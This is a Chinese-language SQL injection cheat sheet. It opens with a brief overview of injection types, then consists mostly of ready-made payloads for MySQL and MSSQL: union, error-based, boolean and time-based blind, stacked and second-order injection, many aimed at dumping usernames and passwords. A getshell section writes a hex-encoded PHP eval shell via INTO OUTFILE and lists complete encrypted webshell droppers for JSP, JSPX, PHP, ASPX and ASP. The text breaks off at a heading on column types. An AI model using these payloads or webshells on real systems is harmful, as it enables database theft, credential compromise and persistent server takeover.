什么是SQL注入漏洞
SQL注入漏洞是一种常见的网络安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而执行未经授权的数据库操作。这种漏洞通常存在于未正确验证和过滤用户输入的Web应用程序中,特别是那些使用动态生成SQL查询的应用程序。
攻击者利用SQL注入漏洞可以执行各种恶意操作,包括但不限于:
绕过身份验证:攻击者可以修改应用程序的登录验证查询,以允许未经授权的访问或提升其权限。
盗取数据:攻击者可以通过注入恶意的SQL查询来检索数据库中的敏感信息,如用户凭证、个人信息或其他敏感数据。
修改数据:攻击者可以修改数据库中的数据,包括插入、更新或删除记录,从而对应用程序的正常功能造成破坏。
拒绝服务:通过执行恶意的SQL查询,攻击者可以使数据库服务器过载,导致拒绝服务(DoS)攻击。
SQL注入漏洞有哪些类型
SQL注入漏洞可以根据攻击方式和影响程度进行分类。以下是几种常见的SQL注入漏洞类型:
-
基于错误的注入:攻击者利用应用程序返回的错误信息来推断数据库结构和数据。通过构造恶意的SQL查询,攻击者可以触发应用程序返回错误信息,从而获取有关数据库的敏感信息。
-
基于时间的盲注入:攻击者通过观察应用程序的响应时间来推断SQL查询的执行结果。攻击者构造的恶意查询可能会导致应用程序在执行时出现延迟,从而暴露出数据库中的信息。
-
联合查询注入:攻击者在注入点插入联合查询语句,以便执行多个查询,并将结果合并到单个结果集中。这种注入类型通常用于从数据库中提取敏感信息。
-
二次注入:当应用程序使用受注入漏洞影响的输入作为另一个查询的一部分时,就会发生二次注入。攻击者可以利用二次注入来进一步操纵数据库或执行更复杂的攻击。
-
布尔盲注入:攻击者利用布尔逻辑来推断SQL查询的真假值。通过构造适当的SQL查询,攻击者可以逐步推断出数据库中的信息。
-
堆叠查询注入:攻击者在单个注入点中嵌入多个SQL查询,以便一次性执行多个查询。这使得攻击者能够执行更复杂的攻击,例如修改数据库结构或执行危险的操作。
-
注入型文件包含:攻击者利用文件包含漏洞将恶意的SQL查询注入到文件包含的参数中,从而执行未经授权的数据库操作。
Mysql注入
联合查询
查看是否存在注入
' 报错
‘’ 正常
(可能存在SQL注入)
' or 1=1--
' and 1=1--
?id=1”
?id=1')
?id=1”)
?id=1' or 1#
?id=1' or 0#
?id=1' or 1=1#
?id=1' and 1=2#
?id=1' and sleep(5)#
猜测字段数
1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3
根据回显的字段数,判断回显数据的字段位置。
-1' union select 1#
-1'union select 1,2#
-1'union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#
爆破数据
在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可
获取数据库名
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
-1' union select 1,2,database()--+
获取数据表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取字段名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取数据
-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+
-1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
报错注入
利用报错回显,同时我们的查询指令或者SQL函数会被执行,报错的过程可能会出现在查询或者插入甚至删除的过程中。
floor()函数
通过使用FLOOR()函数进行SQL注入是一种利用数学函数来绕过应用程序的过滤机制,从而执行恶意操作的技术。FLOOR()函数通常用于向下取整,但在注入场景中,它可以用于执行逻辑操作或绕过字符串过滤。
攻击者可以利用FLOOR()函数来构造恶意的输入,以绕过字符串过滤,并执行注入攻击。例如:
' OR 1=1 AND FLOOR(RAND(0)*2)=0; --
' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)x) --+
在这个例子中,攻击者通过输入 ’ OR 1=1 AND FLOOR(RAND(0)*2)=0;–,构造了一个条件,其中FLOOR(RAND(0)*2)=0的值将始终为0或1,因为RAND(0)函数会返回一个0到1之间的随机数,FLOOR()函数将其向下取整。因此,这个条件将始终成立,并绕过了原始的用户名验证,导致SQL查询返回所有用户的记录。
攻击者可以根据实际情况和数据库的特性来构造不同的FLOOR()函数注入攻击,以执行不同的恶意操作,例如绕过身份验证、提取敏感信息或者执行其他恶意操作。
extractvalue()函数
对XML文档进行查询的函数
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
' and extractvalue(1,concat('~',database()))--+
UPDATEXML()函数
第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值
由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。
这也是一种非常常见的报错注入的函数。
'and updatexml (1,concat(0x7e,(select user()),0x7e),1)--+
exp(x)
exp()数学函数,用于计算e的x次方的函数。
返回 e 的 x 次方,当 数据过大 溢出时报错,即 x > 709
exp(709) 正常
数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
exp(710) 报错
and (exp(~(select * from (操作代码) a)))
1‘ and (exp(~(select * from (select version()) a)))
1') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password)from manage),0x7e)))asasd))--+
geometrycollection() mysql 版本5.5
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
因为MYSQL无法使用这样的字符串画出图形,所以报错
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection ((select * from (select * from(select column_name from information_schema.columns where table_name='manage'limit 0,1)a)b));%23
1') and geometrycollection((select * from (select * from (select distinctconcat (0x23,user,0x2a,password,0x23,name,0x23)FROM manage limit 0,1)a)b));%23
multipoint() mysql 版本5.5
(1)函数解释: MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。 (2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似
1') and multipoint ((select * from(select * from(select version())a)b));%23
polygon()
使用POLYGON()函数进行SQL注入是一种利用空间数据类型来执行恶意操作的技术。在支持空间数据类型的数据库中,如MySQL的Spatial Extension或PostgreSQL的PostGIS扩展,POLYGON()函数用于创建一个多边形对象。
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。
1 and polygon((select * from(select * from(select user())a)b))
?id=1' and polygon(id) --+
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
mutipolygon()
在空间数据库中,MULTIPOLYGON()函数用于创建包含多个多边形的几何对象。类似于POLYGON()函数,MULTIPOLYGON()函数也可能面临SQL注入风险,尤其是当用户提供的输入不经过适当过滤和验证时。
1' or multipolygon((select * from(select * from (select user())asd)asd))--
linestring()
报错原理: mysql的有些几何函数(例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring())对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)
1') and linestring((select * from (select * from (select database())a)b))--+;
multilinestring()
同上
ST.LatFromGeoHash()(mysql>=5.7.x)
') or ST_LatFromGeoHash((select * from (select * from (select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password)from manage),0x7e))))a)b))--+
' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
' and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+
ST.LongFromGeoHash
同上 嵌套查询
### ST_Pointfromgeohash (mysql>5.7)
#获取数据库版本信息
') or ST_PointFromGeoHash(version(),1)--+
') or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
') or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
') or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`)from manage),0x23)),1)--+
GTID (MySQL >= 5.6.X - 显错<=200)
GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID的表现形式 -> GTID=source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务
GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方
gtid_executed 系统变量
gtid_purged系统变量
GTID_SUBSET() 和 GTID_SUBTRACT()函数 格式如下:
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
函数详解
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)
0x03 注入过程( payload )
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password)from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password)from manage),0x7e),1)--+
上面是一些常见或者不常见的能够报错注入的函数,报错注入就是利用这些函数,在我们的查询语句中的这些函数内的某个位置再嵌套一个子查询,利用产生的报错将子查询的结果回显出来,每个报错注入的函数都搭配了网上找到的简单的payload,情况总是在变化,注意一下函数中子查询所在的位置即可。
使用不存在的函数来报错
随便使用一个不存在的函数,可能会得到当前所在的数据库名称。
使用 join using() 报错获取列名
一般应用于无列名注入,下文绕过中会细讲。
通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
下面演示如何通过join...using来获取列名:
#获取第一列的列名:
1' union select * from (select * from users as a join users as b)as c#
使用using()依次获取后续的列名
1' union all select * from (select * from users as ajoin users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#
#数据库中as主要作用是起别名,常规来说as都可以省略,但是为了增加可读性,不建议省略
布尔盲注
布尔盲注(Boolean-based blind SQLinjection)是一种利用逻辑判断的漏洞来执行SQL查询的攻击方式。在这种攻击中,攻击者通过向目标网站的输入字段发送恶意的SQL语句,利用其返回的响应结果的真假来推断数据库中的信息。
攻击者通常利用布尔盲注来获取敏感数据,如用户凭证、个人信息等。攻击者首先需要确认目标网站存在SQL注入漏洞,并确定注入点,然后通过逐步尝试构造SQL语句,利用布尔逻辑的真假来推断数据库中的信息。
常用函数
length() 返回字符串的长度,例如用来返回数据库名字的长度
substr(string,start,length) 用来截取字符串,例如有字符串a=“abcdefg”
那么substr(a,1,3)就表示截取“bcd”,substr(a,3,1)就表示截取“d” ,若是遇到substr(string,0)表示截取整个字符串 ascii() 返回字符的ASCII码
sleep(n) 将程序挂起一段时间,n是指n秒
if(expr1,expr2,expr3) 判断语句,如果第一个语句正确就执行第二个语句如果错误就执行第三个语句
判断注入点
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
' AND 2*3*8=6*8 AND '000l4jH'='000l4jH => TRUE
' AND 2*3*8=6*9 AND '000l4jH'='000l4jH => FALSE
' AND 3*3<(2*4) AND '000l4jH'='000l4jH => FALSE
' AND 3*2>(1*5) AND '000l4jH'='000l4jH => TRUE
' AND 3*2*0>=0 AND '000l4jH'='000l4jH => TRUE
' AND 3*3*9<(2*4) AND '000l4jH'='000l4jH => FALSE
-1' OR 2+664-664-1=0+0+0+1 or 'JRSjckbk'=' => TRUE
-1' OR 3+664-664-1=0+0+0+1 or 'JRSjckbk'=' => FALSE
-1' OR 3*2<(0+5+664-664) or 'JRSjckbk'=' => FALSE
-1' OR 3*2>(0+5+664-664) or 'JRSjckbk'=' => FALSE
-1' OR 2+1-1+1=1 AND 000664=000664 or 'JRSjckbk'=' => FALSE
-1' OR 3*2=5 AND 000664=000664 or 'JRSjckbk'=' => FALSE
-1' OR 3*2=6 AND 000664=000664 or 'JRSjckbk'=' => TRUE
-1' OR 3*2*0=6 AND 000664=000664 or 'JRSjckbk'=' => FALSE
-1' OR 3*2*1=6 AND 000664=000664 or 'JRSjckbk'=' => TRUE
猜测数据库长度
?id=1' and (length(database()))>7--+页面返回有数据
?id=1' and (length(database()))>8--+页面无结果返回
1' and if(length(database())=4,1,0)--+
可通过burpsuite的爆破模块,根据返回长度判断长度为多少
猜数据库名(ASCII码)
?id=1' and ascii(substr(database(),1,1))>114--+ 页面返回有数据
?id=1' and ascii(substr(database(),1,1))>115--+ 页面返回无数据
1' and if(substring((select database()),1,1)='d',1,0) --+
可通过chatgpt或者人工编写脚本爆破
IFNULL()函数
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL
则返回第一个参数的值。
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + 第一个值为r所以返回数据
?id=1' and IFNULL((substr((select user()),1,1)='u'),0) -- + 第一个值为r所以不返回数据
STRCMP()函数
STRCMP函数的语法如下:
其中,str1和str2是要进行比较的两个字符串。
STRCMP函数的返回值有以下几种可能:
如果str1和str2相等,则返回0。 如果str1小于str2,则返回一个小于0的整数。
如果str1大于str2,则返回一个大于0的整数。
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
?id=1' and strcmp((substr((select user()),1,1)='q'),1) -- +
时间盲注
对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,
观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
判断是否存在注入
1' and sleep(5)#
1 and sleep(5)
时间盲注用到的SQL语法知识
一般的时间盲注主要就是使用sleep()函数进行时间的延迟,然后通过if判断是否执行sleep():
1' and if(ascii(substr((select database()),1,1))>1,sleep(3),0)#
爆破数据
猜测数据库长度
?id=1' and if(leng(database())=x,sleep(5),1)--+ x为猜测数,通过返回长度判断
猜测数据库名
?id=1' and if(ascii(substr(database(),x,1))=y,sleep(5),1)--+
猜测表名
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1)--+
堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
读取数据
/?id=1';show databases;--+
/?id=1';show tables;--+
/?id=1';show tables from database_name;--+
/?id=1';show columns from table_name;--+
读取文件
/?id=1';select load_file('/flag');--+
修改数据表的结构
/?id=1';insert into users(id,username,password) values(20,'whoami','657260');--+ # 插入数据
/?id=1';update users set password='657260' where id>0;--+ # 更改数据
/?id=1';delete from users where id=20;--+ # 删除数据
/?id=1';create table fake_users like users;--+ # 创建一个新表
?id=1';rename table old_table tonew_table;--+ # 更改表名
?id=1';alter table users change old_column new_column var char(100);--+ # 更改字段名
二次注入
二次注入用到的SQL语法知识
通常二次注入的成因会是插入语句,我们控制自己想要查询的语句插入到数据库中再去找一个能显示插入数据的回显的地方(可能是登陆后的用户名等等、也有可能是删除后显示删除内容的地方~),恶意插入查询语句的示例如下:
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')
insert into users(id,username,password,email) values(1,'0'+substr((selecthex(hex(select*fromflag))),1,10)+'0','123456','123@qq.com')
注入过程
首先找到插入点,通常情况下是一个注册页面,register.php这种,先简单的查看一下注册后有没有什么注册时写入的信息在之后又回显的,若有回显猜测为二次查询。
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq.com')
Mysql Getshell
一. into outfile
利用条件
1. 此方法利用的先决条件
web目录具有写权限,能够使用单引号
知道网站绝对路径(根目录,或则是根目录往下的目录都行)
secure_file_priv没有具体值(在mysql/my.ini中查看)
2. secure_file_priv
secure_file_priv是用来限制load dumpfile、into
outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后
secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv
的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改
(1)看secure-file-priv参数的值 (2)修改secure_file_priv 的值我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加
secure_file_priv = ’ ’ 即可
3、插入
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
show global variables like '%secure%';
二、os-shell写入webshell
寻找根目录
通过F12选择一个加载文件进行选择,如logo.png
dir /a /s /b D:\ | findstr “logo.png”
其他查找语句
windows:
for /r C: %i in (login.*) do @echo %i
where /R C: login.*
dir /s/a-d/b login.*
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
linux:
find / -name index.php
find / -name index.*
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
写入语句
(1)jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
(2)jspx
echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^>^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^>^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^>^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^>^</jsp:root^> > 111.jspx
(3)php
echo ^<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))^{$t="base64_"."decode";$post=$t($post."");for($i=0;$i^<strlen($post);$i++) ^{$post[$i] = $post[$i]^^$key[$i+1^&15]; ^}^}else^{$post=openssl_decrypt($post, "AES128", $key);^}$arr=explode('^|',$post);$func=$arr[0];$params=$arr[1];class C^{public function __invoke($p) ^{eval($p."");^}^}@call_user_func(new C(),$params);?^> > 111.php
(4)java9 jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
(5)aspx
echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx
(6)asp
echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp
MSSQL
MSSQL是Microsoft SQL Server的简称,是由微软公司开发的关系型数据库管理系统(RDBMS)。它是一种全功能的数据库服务器,旨在处理各种类型的数据,从小型单用户应用程序到大型企业级解决方案。
Microsoft SQL Server提供了许多功能,包括:
数据存储和检索:允许用户存储和检索数据,支持SQL查询语言以及存储过程、触发器等高级数据库功能。
数据安全性:提供了多种安全功能,包括数据加密、访问控制、审计和身份验证,以确保数据的保密性和完整性。
数据分析:支持数据分析和报告功能,包括OLAP(联机分析处理)和数据挖掘,以帮助用户从数据中提取有价值的信息。
高可用性:提供了高可用性和灾难恢复功能,包括备份和恢复、复制、故障转移和集群。
扩展性:支持大规模数据存储和处理,可以轻松地扩展到多个服务器和存储系统。
Microsoft SQL Server被广泛用于企业级应用程序和网站开发中,它与Microsoft的其他产品(如.NET框架、Visual Studio等)集成紧密,并且在Windows操作系统上具有良好的兼容性和性能优势。
union联合查询注入
1.判断注入点及类型
?id=1' and 1=1--+
?id=1' and 1=2--+
那么此处是字符型注入,需要单引号闭合
2.判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
3.联合查询判断回显点
?id=0' union select 1,2,3--+
4.获取当前数据库名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.获取所有的数据库名
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.获取所有的表名
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.获取所有的字段名
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.获取users表账号密码信息
?id=0' union select top 1 1,username,password from users--+
error 注入
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
1.判断注入点
id=1'
id=1'
’
2.判断是否为MSSQL数据库
返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判断数据库版本号
id=1 and @@version>0--+
#@@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了
4.获取当前数据库名
and db_name()>0--+
and 1=db_name()--+
报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
5.判断当前服务器拥有的权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判断当前角色是否为DB_OWNER
and 1=(select is_member('db_owner'))--+
db_owner权限可以通过备份方式向目标网站写文件
7.获取当前用户名
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
更改database_id的值来获取所有的数据库
9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.获取所有的表名
获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
quotename和for xml path(‘’)一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
12.获取字段名
通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
通过quotename 和 for xml path(‘’) 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
13.获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
bool盲注
判断注入点
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
猜解表名
截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
猜解字段
截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
猜解表中数据
username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
time 盲注
判断是否存在注入=
id=1 WAITFOR DELAY '0:0:5'--+
判断权限
如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
查询当前数据库的长度和名字
二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
查询数据库名字
substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
查询表个数
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
当前数据库表的个数为6
查询第一个表的长度
查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
利用and,进行判断,9为表长度的猜测
and len(name)=9
第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
查询第二个表的长度
查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
查询第一个表中的字段
and name not in (‘’)查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
查询字段类型
